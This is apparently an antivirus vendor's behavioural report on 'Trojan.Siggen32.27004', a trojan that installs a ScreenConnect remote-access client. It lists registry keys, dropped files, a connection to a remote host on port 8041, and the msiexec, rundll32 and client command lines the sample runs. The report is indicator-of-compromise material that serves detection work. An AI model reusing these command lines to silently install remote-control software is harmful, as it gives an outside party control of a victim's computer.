Trojan.Siggen32.27004

Technical Information

To ensure autorun and distribution

Modifies the following registry keys

[HKLM\SOFTWARE\Classes\sc-0ed91b0ca9fe54e2\shell\open\command] '' = '"%ProgramFiles(x86)%\ScreenConnect Client (0ed91b0ca9fe54e2)\ScreenConnect.WindowsClient.exe" "%1"'

Modifies file system

Creates the following files

%TEMP%\setup.msi
%LOCALAPPDATA%\microsoft\clr_v4.0_32\usagelogs\<File name>.exe.log
%TEMP%\msia70.tmp
%TEMP%\msia70.tmp-\screenconnect.installeractions.dll
%TEMP%\msia70.tmp-\microsoft.deployment.windowsinstaller.dll
%TEMP%\msia70.tmp-\screenconnect.core.dll
%TEMP%\msia70.tmp-\customaction.config
%LOCALAPPDATA%\microsoft\clr_v4.0_32\usagelogs\rundll32.exe.log
%WINDIR%\temp\~df0f1ae24d52f7ffdb.tmp
%WINDIR%\installer\sourcehash{eed6001c-9f7a-4ddd-a1a7-dc95e6a38002}
%WINDIR%\temp\~dffaa6051838ce3279.tmp
%WINDIR%\temp\~dfec353f1bc4824a25.tmp
%WINDIR%\temp\~dff1d4329f247ab212.tmp
%ProgramFiles(x86)%\screenconnect client (0ed91b0ca9fe54e2)\screenconnect.client.dll
%ProgramFiles(x86)%\screenconnect client (0ed91b0ca9fe54e2)\screenconnect.clientservice.dll
%ProgramFiles(x86)%\screenconnect client (0ed91b0ca9fe54e2)\screenconnect.core.dll
%ProgramFiles(x86)%\screenconnect client (0ed91b0ca9fe54e2)\screenconnect.windows.dll
%ProgramFiles(x86)%\screenconnect client (0ed91b0ca9fe54e2)\screenconnect.windowsclient.exe
%ProgramFiles(x86)%\screenconnect client (0ed91b0ca9fe54e2)\screenconnect.windowsclient.exe.config
%ProgramFiles(x86)%\screenconnect client (0ed91b0ca9fe54e2)\screenconnect.clientservice.exe
%ProgramFiles(x86)%\screenconnect client (0ed91b0ca9fe54e2)\client.en-us.resources
%ProgramFiles(x86)%\screenconnect client (0ed91b0ca9fe54e2)\client.resources
%WINDIR%\installer\{eed6001c-9f7a-4ddd-a1a7-dc95e6a38002}\defaulticon
%WINDIR%\temp\~dfa1ddddb8b8ebf3e0.tmp
%WINDIR%\temp\~dfcff17608489aacee.tmp
%WINDIR%\temp\~df1ca7d007160c3b1f.tmp
%WINDIR%\temp\~dfd51454ced5815787.tmp
%WINDIR%\temp\~dfdc8eec86bc835972.tmp
%WINDIR%\temp\~dfb6afb3987c64c5b9.tmp
%WINDIR%\temp\~df910b6ff51d73ade8.tmp
%WINDIR%\temp\~df7bcb06ce70215bb9.tmp
%LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\screenconnect.windowsclient.exe.log
%ALLUSERSPROFILE%\screenconnect client (0ed91b0ca9fe54e2)\ueqtfjut.newcfg
%TEMP%\content\4752-6024-screenconnect.windowsclient.exe-18-03-32-107.dump
%ALLUSERSPROFILE%\screenconnect client (0ed91b0ca9fe54e2)\534qan4r.newcfg
%ALLUSERSPROFILE%\screenconnect client (0ed91b0ca9fe54e2)\vsi2ph1t.newcfg
%ALLUSERSPROFILE%\screenconnect client (0ed91b0ca9fe54e2)\30dkp235.newcfg
%ALLUSERSPROFILE%\screenconnect client (0ed91b0ca9fe54e2)\h13zdvye.newcfg

Deletes following files that it created itself

%TEMP%\msia70.tmp-\customaction.config
%TEMP%\msia70.tmp-\microsoft.deployment.windowsinstaller.dll
%TEMP%\msia70.tmp-\screenconnect.core.dll
%TEMP%\msia70.tmp-\screenconnect.installeractions.dll
%TEMP%\msia70.tmp

Moves the following files

from %ALLUSERSPROFILE%\screenconnect client (0ed91b0ca9fe54e2)\ueqtfjut.newcfg to %ALLUSERSPROFILE%\screenconnect client (0ed91b0ca9fe54e2)\user.config
from %ALLUSERSPROFILE%\screenconnect client (0ed91b0ca9fe54e2)\534qan4r.newcfg to %ALLUSERSPROFILE%\screenconnect client (0ed91b0ca9fe54e2)\user.config
from %ALLUSERSPROFILE%\screenconnect client (0ed91b0ca9fe54e2)\vsi2ph1t.newcfg to %ALLUSERSPROFILE%\screenconnect client (0ed91b0ca9fe54e2)\user.config
from %ALLUSERSPROFILE%\screenconnect client (0ed91b0ca9fe54e2)\30dkp235.newcfg to %ALLUSERSPROFILE%\screenconnect client (0ed91b0ca9fe54e2)\user.config
from %ALLUSERSPROFILE%\screenconnect client (0ed91b0ca9fe54e2)\h13zdvye.newcfg to %ALLUSERSPROFILE%\screenconnect client (0ed91b0ca9fe54e2)\user.config

Network activity

Connects to

're####.groupeomni.com':8041

UDP

DNS ASK re####.groupeomni.com

Miscellaneous

Creates and executes the following

'%ProgramFiles(x86)%\screenconnect client (0ed91b0ca9fe54e2)\screenconnect.windowsclient.exe' "Rerun" "?y=Host&h=remote.groupeomni.com&p=8041&s=d357047e-dc8a-475d-b274-6922397ba9a8&k=BgIAAACkAABSU0ExAAgAAAEAAQBt5cQ9SBGJSuQE3DcbnmgyoB%2bq9vcqBDy246%2b6M7JesguTzC1z1gF5sfbe9%2fgjIl22bUd9IG...
'%ProgramFiles(x86)%\screenconnect client (0ed91b0ca9fe54e2)\screenconnect.windowsclient.exe' "?y=Host&h=remote.groupeomni.com&p=8041&s=d357047e-dc8a-475d-b274-6922397ba9a8&k=BgIAAACkAABSU0ExAAgAAAEAAQBt5cQ9SBGJSuQE3DcbnmgyoB%2bq9vcqBDy246%2b6M7JesguTzC1z1gF5sfbe9%2fgjIl22bUd9IGI1XEapfE...

Executes the following

'%WINDIR%\syswow64\msiexec.exe' /i "%TEMP%\setup.msi"
'%WINDIR%\syswow64\rundll32.exe' "%TEMP%\MSIA70.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_855015 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments